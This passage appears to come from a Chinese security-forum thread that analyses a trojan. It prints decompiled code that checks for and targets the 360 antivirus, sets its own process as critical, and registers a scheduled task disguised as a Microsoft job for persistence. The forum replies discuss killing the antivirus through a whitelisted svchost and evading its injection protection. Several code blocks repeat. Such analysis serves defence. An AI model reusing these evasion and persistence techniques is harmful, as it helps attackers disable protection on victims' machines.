    ((void (__stdcall *)(int))kernel32_CloseHandle)(v4);
    return 0;
  }
  else
  {
    v3 = ((int (__cdecl *)(void *, const char *))unk_10003600)(
           &msvcp140__cerr_std__3V__basic_ostream_DU__char_traits_D_std___1_A,
           "Failed to retrieve first process.");
    ((void (__thiscall *)(int, void *))msvcp140___5__basic_istream_DU__char_traits_D_std___std__QAEAAV01_P6AAAV01_AAV01__Z_Z)(
      v3,
      &unk_10003950);
    ((void (__stdcall *)(int))kernel32_CloseHandle)(v4);
    return 0;
  }
}
char __cdecl CheckProcessExists(int a1)
{
  int v2; // eax
  int v3; // [esp+0h] [ebp-238h]
  int v4; // [esp+4h] [ebp-234h]
  _DWORD v5[9]; // [esp+8h] [ebp-230h] BYREF
  _BYTE v6[520]; // [esp+2Ch] [ebp-20Ch] BYREF
 
  v4 = ((int (__stdcall *)(int, _DWORD))kernel32_CreateToolhelp32Snapshot)(2, 0);
  if ( v4 == -1 )
    return 0;
  v5[0] = 556;
  if ( ((int (__stdcall *)(int, _DWORD *))kernel32_Process32FirstW)(v4, v5) )
  {
    do
    {
      v2 = ((int (__thiscall *)(int))unk_10002890)(a1);
      if ( !((int (__cdecl *)(_BYTE *, int))ucrtbase__wcsicmp)(v6, v2) )
      {
        ((void (__stdcall *)(int))kernel32_CloseHandle)(v4);
        return 1;
      }
    }
    while ( ((int (__stdcall *)(int, _DWORD *))kernel32_Process32NextW)(v4, v5) );
    ((void (__stdcall *)(int))kernel32_CloseHandle)(v4);
    return 0;
  }
  else
  {
    v3 = ((int (__cdecl *)(void *, const char *))unk_10003600)(
           &msvcp140__cerr_std__3V__basic_ostream_DU__char_traits_D_std___1_A,
           "Failed to retrieve first process.");
    ((void (__thiscall *)(int, void *))msvcp140___5__basic_istream_DU__char_traits_D_std___std__QAEAAV01_P6AAAV01_AAV01__Z_Z)(
      v3,
      &unk_10003950);
    ((void (__stdcall *)(int))kernel32_CloseHandle)(v4);
    return 0;
  }
}
v18 = ((int (__stdcall *)(const wchar_t *))kernel32_LoadLibraryW)(L"ntdll.dll");
 RtlAdjustPrivilege = (NTSTATUS (__stdcall *)(ULONG, BOOLEAN, BOOLEAN, PBOOLEAN))((int (__stdcall *)(int, const char *))kernel32_GetProcAddress)(
                                                                                   v18,
                                                                                   "RtlAdjustPrivilege");
 RtlSetProcessIsCritical = (int (__stdcall *)(_DWORD, _DWORD, _DWORD))((int (__stdcall *)(int, const char *))kernel32_GetProcAddress)(
                                                                        v18,
                                                                        "RtlSetProcessIsCritical");
 v11 = RtlAdjustPrivilege;
 RtlAdjustPrivilege(0x14u, 1u, 0, &v31);
 v10 = RtlSetProcessIsCritical;
 RtlSetProcessIsCritical(1, 0, 0);
 ((void (__thiscall *)(_BYTE *, const wchar_t *))copy_str)(v3, L"360tray.exe");
 v26 |= 0x10u;
 v17 = !(unsigned __int8)((int (__cdecl *)(_BYTE *))CheckProcessExists)(v3)
    && (((void (__thiscall *)(_BYTE *, const wchar_t *))copy_str)(v4, L"360Tray.exe"),
        v26 |= 0x20u,
        !(unsigned __int8)((int (__cdecl *)(_BYTE *))CheckProcessExists)(v4));
 v22 = v17;
v18 = ((int (__stdcall *)(const wchar_t *))kernel32_LoadLibraryW)(L"ntdll.dll");
 RtlAdjustPrivilege = (NTSTATUS (__stdcall *)(ULONG, BOOLEAN, BOOLEAN, PBOOLEAN))((int (__stdcall *)(int, const char *))kernel32_GetProcAddress)(
                                                                                   v18,
                                                                                   "RtlAdjustPrivilege");
 RtlSetProcessIsCritical = (int (__stdcall *)(_DWORD, _DWORD, _DWORD))((int (__stdcall *)(int, const char *))kernel32_GetProcAddress)(
                                                                        v18,
                                                                        "RtlSetProcessIsCritical");
 v11 = RtlAdjustPrivilege;
 RtlAdjustPrivilege(0x14u, 1u, 0, &v31);
 v10 = RtlSetProcessIsCritical;
 RtlSetProcessIsCritical(1, 0, 0);
 ((void (__thiscall *)(_BYTE *, const wchar_t *))copy_str)(v3, L"360tray.exe");
 v26 |= 0x10u;
 v17 = !(unsigned __int8)((int (__cdecl *)(_BYTE *))CheckProcessExists)(v3)
    && (((void (__thiscall *)(_BYTE *, const wchar_t *))copy_str)(v4, L"360Tray.exe"),
        v26 |= 0x20u,
        !(unsigned __int8)((int (__cdecl *)(_BYTE *))CheckProcessExists)(v4));
 v22 = v17;
RPC_BINDING_HANDLE sub_10004C70()
{
  RPC_WSTR StringBinding; // [esp+Ch] [ebp-1Ch] BYREF
  RPC_BINDING_HANDLE Binding; // [esp+10h] [ebp-18h] BYREF
  RPC_SECURITY_QOS SecurityQos; // [esp+14h] [ebp-14h] BYREF
 
  Binding = 0;
  memset(&SecurityQos, 0, sizeof(SecurityQos));
  if ( RpcStringBindingComposeW(0, L"ncacn_np", (RPC_WSTR)L"localhost", L"\\pipe\\atsvc", 0, &StringBinding) )
    return 0;
  RpcBindingFromStringBindingW(StringBinding, &Binding);
  SecurityQos.Version = 1;
  SecurityQos.ImpersonationType = 3;
  SecurityQos.Capabilities = 0;
  SecurityQos.IdentityTracking = 0;
  RpcBindingSetAuthInfoExA(Binding, 0, 6u, 0xAu, 0, 0, &SecurityQos);
  RpcStringFreeW(&StringBinding);
  return Binding;
}
 
 
int __cdecl sub_100070F0(char a1)
{
  return ((int (__cdecl *)(_UNKNOWN **, char *, char *))rpcrt4_NdrClientCall2)(
           &off_1000A520,
           (char *)&unk_1000A5BA + 40,
           &a1);
}
RPC_BINDING_HANDLE sub_10004C70()
{
  RPC_WSTR StringBinding; // [esp+Ch] [ebp-1Ch] BYREF
  RPC_BINDING_HANDLE Binding; // [esp+10h] [ebp-18h] BYREF
  RPC_SECURITY_QOS SecurityQos; // [esp+14h] [ebp-14h] BYREF
 
  Binding = 0;
  memset(&SecurityQos, 0, sizeof(SecurityQos));
  if ( RpcStringBindingComposeW(0, L"ncacn_np", (RPC_WSTR)L"localhost", L"\\pipe\\atsvc", 0, &StringBinding) )
    return 0;
  RpcBindingFromStringBindingW(StringBinding, &Binding);
  SecurityQos.Version = 1;
  SecurityQos.ImpersonationType = 3;
  SecurityQos.Capabilities = 0;
  SecurityQos.IdentityTracking = 0;
  RpcBindingSetAuthInfoExA(Binding, 0, 6u, 0xAu, 0, 0, &SecurityQos);
  RpcStringFreeW(&StringBinding);
  return Binding;
}
 
 
int __cdecl sub_100070F0(char a1)
{
  return ((int (__cdecl *)(_UNKNOWN **, char *, char *))rpcrt4_NdrClientCall2)(
           &off_1000A520,
           (char *)&unk_1000A5BA + 40,
           &a1);
}
aXmlVersion10En:                        ; DATA XREF: .data:off_1000D0C4↓o
text "UTF-16LE", '<?xml version="1.0" encoding="UTF-16"?>',0Ah
text "UTF-16LE", '<Task xmlns="http://schemas.microsoft.com/windows/2'
text "UTF-16LE", '004/02/mit/task">',0Ah
text "UTF-16LE", '  <RegistrationInfo>',0Ah
text "UTF-16LE", '    <Date>2006-11-10T14:29:55.5851926</Date>',0Ah
text "UTF-16LE", '    <Author>Microsoft Corporation</Author>',0Ah
text "UTF-16LE", '    <Description>'
.rdata:10009666 aAdRmsWebDescr:
text "UTF-16LE", '更新用户的 AD RMS 权限策略模板。如果对服务器上模板分发 Web 服务的身份验证失败，此作业将提'
text "UTF-16LE", '供凭据提示。</Description>',0Ah
text "UTF-16LE", '    <URI>\WakeUpAndContinueUpdatesde</URI>',0Ah
text "UTF-16LE", '    <SecurityDescriptor>D:(A;;FA;;;BA)(A;;FA;;;SY)('
text "UTF-16LE", 'A;;FRFX;;;WD)</SecurityDescriptor>',0Ah
text "UTF-16LE", '  </RegistrationInfo>',0Ah
text "UTF-16LE", '  <Triggers>',0Ah
text "UTF-16LE", '    <LogonTrigger id="06b3f632-87ad-4ac0-9737-48ea5'
text "UTF-16LE", 'ddbaf11">',0Ah
text "UTF-16LE", '      <Enabled>true</Enabled>',0Ah
text "UTF-16LE", '      <Delay>PT30S</Delay>',0Ah
text "UTF-16LE", '    </LogonTrigger>',0Ah
text "UTF-16LE", '  </Triggers>',0Ah
text "UTF-16LE", '  <Principals>',0Ah
text "UTF-16LE", '    <Principal id="AllUsers">',0Ah
text "UTF-16LE", '      <GroupId>S-1-1-0</GroupId>',0Ah
text "UTF-16LE", '      <RunLevel>HighestAvailable</RunLevel>',0Ah
text "UTF-16LE", '    </Principal>',0Ah
text "UTF-16LE", '  </Principals>',0Ah
text "UTF-16LE", '  <Settings>',0Ah
text "UTF-16LE", '    <MultipleInstancesPolicy>Parallel</MultipleInst'
text "UTF-16LE", 'ancesPolicy>',0Ah
text "UTF-16LE", '    <DisallowStartIfOnBatteries>false</DisallowStar'
text "UTF-16LE", 'tIfOnBatteries>',0Ah
text "UTF-16LE", '    <StopIfGoingOnBatteries>false</StopIfGoingOnBat'
text "UTF-16LE", 'teries>',0Ah
text "UTF-16LE", '    <AllowHardTerminate>false</AllowHardTerminate>',0Ah
text "UTF-16LE", '    <StartWhenAvailable>true</StartWhenAvailable>',0Ah
text "UTF-16LE", '    <RunOnlyIfNetworkAvailable>true</RunOnlyIfNetwo'
text "UTF-16LE", 'rkAvailable>',0Ah
text "UTF-16LE", '    <IdleSettings>',0Ah
text "UTF-16LE", '      <StopOnIdleEnd>true</StopOnIdleEnd>',0Ah
text "UTF-16LE", '      <RestartOnIdle>false</RestartOnIdle>',0Ah
text "UTF-16LE", '    </IdleSettings>',0Ah
text "UTF-16LE", '    <AllowStartOnDemand>true</AllowStartOnDemand>',0Ah
text "UTF-16LE", '    <Enabled>true</Enabled>',0Ah
text "UTF-16LE", '    <Hidden>false</Hidden>',0Ah
text "UTF-16LE", '    <RunOnlyIfIdle>false</RunOnlyIfIdle>',0Ah
text "UTF-16LE", '    <DisallowStartOnRemoteAppSession>false</Disallo'
text "UTF-16LE", 'wStartOnRemoteAppSession>',0Ah
text "UTF-16LE", '    <UseUnifiedSchedulingEngine>true</UseUnifiedSch'
text "UTF-16LE", 'edulingEngine>',0Ah
text "UTF-16LE", '    <WakeToRun>false</WakeToRun>',0Ah
text "UTF-16LE", '    <ExecutionTimeLimit>PT0S</ExecutionTimeLimit>',0Ah
text "UTF-16LE", '    <Priority>7</Priority>',0Ah
text "UTF-16LE", '    <RestartOnFailure>',0Ah
text "UTF-16LE", '      <Interval>PT1M</Interval>',0Ah
text "UTF-16LE", '      <Count>16</Count>',0Ah
text "UTF-16LE", '    </RestartOnFailure>',0Ah
text "UTF-16LE", '  </Settings>',0Ah
text "UTF-16LE", '  <Actions Context="AllUsers">',0Ah
text "UTF-16LE", '    <Exec>',0Ah
text "UTF-16LE", '      <Command>5555555555</Command>',0Ah
text "UTF-16LE", '    </Exec>',0Ah
text "UTF-16LE", '  </Actions>',0Ah
text "UTF-16LE", '</Task>',0Ah,0
aXmlVersion10En:                        ; DATA XREF: .data:off_1000D0C4↓o
text "UTF-16LE", '<?xml version="1.0" encoding="UTF-16"?>',0Ah
text "UTF-16LE", '<Task xmlns="http://schemas.microsoft.com/windows/2'
text "UTF-16LE", '004/02/mit/task">',0Ah
text "UTF-16LE", '  <RegistrationInfo>',0Ah
text "UTF-16LE", '    <Date>2006-11-10T14:29:55.5851926</Date>',0Ah
text "UTF-16LE", '    <Author>Microsoft Corporation</Author>',0Ah
text "UTF-16LE", '    <Description>'
.rdata:10009666 aAdRmsWebDescr:
text "UTF-16LE", '更新用户的 AD RMS 权限策略模板。如果对服务器上模板分发 Web 服务的身份验证失败，此作业将提'
text "UTF-16LE", '供凭据提示。</Description>',0Ah

[招生]科锐逆向工程师培训(2025年3月11日实地，远程教学同时开班, 第52期)！

最后于 2025-1-17 14:25 被solar解密编辑 ，原因：
收藏
免费 ・1
支持
分享
最新回复 (11)
pysafe
雪    币： 820
活跃值： (4769)
能力值： ( LV3，RANK：20 )
在线值：
发帖
回帖
粉丝
私信
2 楼
病毒md5呢，如何R3 kill360的呢
2025-1-20 10:49
0
lracker
雪    币： 581
活跃值： (1387)
能力值： ( LV3，RANK：30 )
在线值：
发帖
回帖
粉丝
私信
3 楼
没分析到点上，最关键部分都没体现出来。读者更关注的是怎么从R3 kill 360。
2025-1-20 11:44
0
lracker
雪    币： 581
活跃值： (1387)
能力值： ( LV3，RANK：30 )
在线值：
发帖
回帖
粉丝
私信
4 楼
pysafe 病毒md5呢，如何R3 kill360的呢
我终于看懂了，这木马是注入了svchost进程，让svchost去kill 360。
这篇文章的重点应该放在这一部分，体现出svchost进程有权限，有能力去kill掉360。而不是说简单的分析了一个木马执行了shellcode就kill掉360。
2025-1-20 23:09
1
love闯
雪    币： 38
活跃值： (180)
能力值： ( LV2，RANK：10 )
在线值：
发帖
回帖
粉丝
私信
5 楼
lracker 我终于看懂了，这木马是注入了svchost进程，让svchost去kill 360。 这篇文章的重点应该放在这一部分，体现出svchost进程有权限，有能力去kill掉360。而不是说简单的分析了一 ...
svchost 进程正常来说受 360保护 不让你注入啊
2025-1-21 14:03
0
lracker
雪    币： 581
活跃值： (1387)
能力值： ( LV3，RANK：30 )
在线值：
发帖
回帖
粉丝
私信
6 楼
https://bbs.kanxue.com/thread-281120.htm
测试过了，svchost在白名单里。写个kill进程的shellcode扔到svchost进程里执行就能kill了。
2025-1-21 17:53
0
mb_rlgcsqlw
雪    币：
能力值： ( LV1，RANK：0 )
在线值：
发帖
回帖
粉丝
私信
7 楼
lracker https://bbs.kanxue.com/thread-281120.htm 测试过了，svchost在白名单里。写个kill进程的shellcode扔到svchost进程里执行就能kill了。
开启核晶后，应该注入不了啊，会弹框拦截
2025-1-22 14:13
0
mb_rlgcsqlw
雪    币：
能力值： ( LV1，RANK：0 )
在线值：
发帖
回帖
粉丝
私信
8 楼

怎么绕过弹框拦截的？

最后于 2025-1-22 14:19 被mb_rlgcsqlw编辑 ，原因：
2025-1-22 14:17
0
lracker
雪    币： 581
活跃值： (1387)
能力值： ( LV3，RANK：30 )
在线值：
发帖
回帖
粉丝
私信
9 楼
mb_rlgcsqlw 开启核晶后，应该注入不了啊，会弹框拦截
那注入就变成另一个问题了：如何规避核晶去对svchost注入？这个得想办法进行规避。
但至少R3 kill 360这个问题解决了，通过内置白名单svchost就能够kill掉360进程。
2025-1-22 17:37
0
mb_rlgcsqlw
雪    币：
能力值： ( LV1，RANK：0 )
在线值：
发帖
回帖
粉丝
私信
10 楼
lracker 那注入就变成另一个问题了：如何规避核晶去对svchost注入？这个得想办法进行规避。 但至少R3 kill 360这个问题解决了，通过内置白名单svchost就能够kill掉360进程。

这文章也是没说清楚，都没说银狐怎么绕过拦截注入

最后于 2025-1-22 18:23 被mb_rlgcsqlw编辑 ，原因：
2025-1-22 18:22
0
咖啡_741298
雪    币： 4
活跃值： (3715)
能力值： ( LV2，RANK：10 )
在线值：
发帖
回帖
粉丝
私信
11 楼
lracker 那注入就变成另一个问题了：如何规避核晶去对svchost注入？这个得想办法进行规避。 但至少R3 kill 360这个问题解决了，通过内置白名单svchost就能够kill掉360进程。
通过RPC让白名单父进程启动
2025-1-22 20:20
0
雪梨不是雪莉
雪    币： 51
活跃值： (339)
能力值： ( LV2，RANK：10 )
在线值：
发帖
回帖
粉丝
私信
12 楼
过不去EDR，作用不大
2025-1-23 12:09
0
游客
登录 | 注册 方可回帖
回帖 表情 雪币赚取及消费
高级回复
返回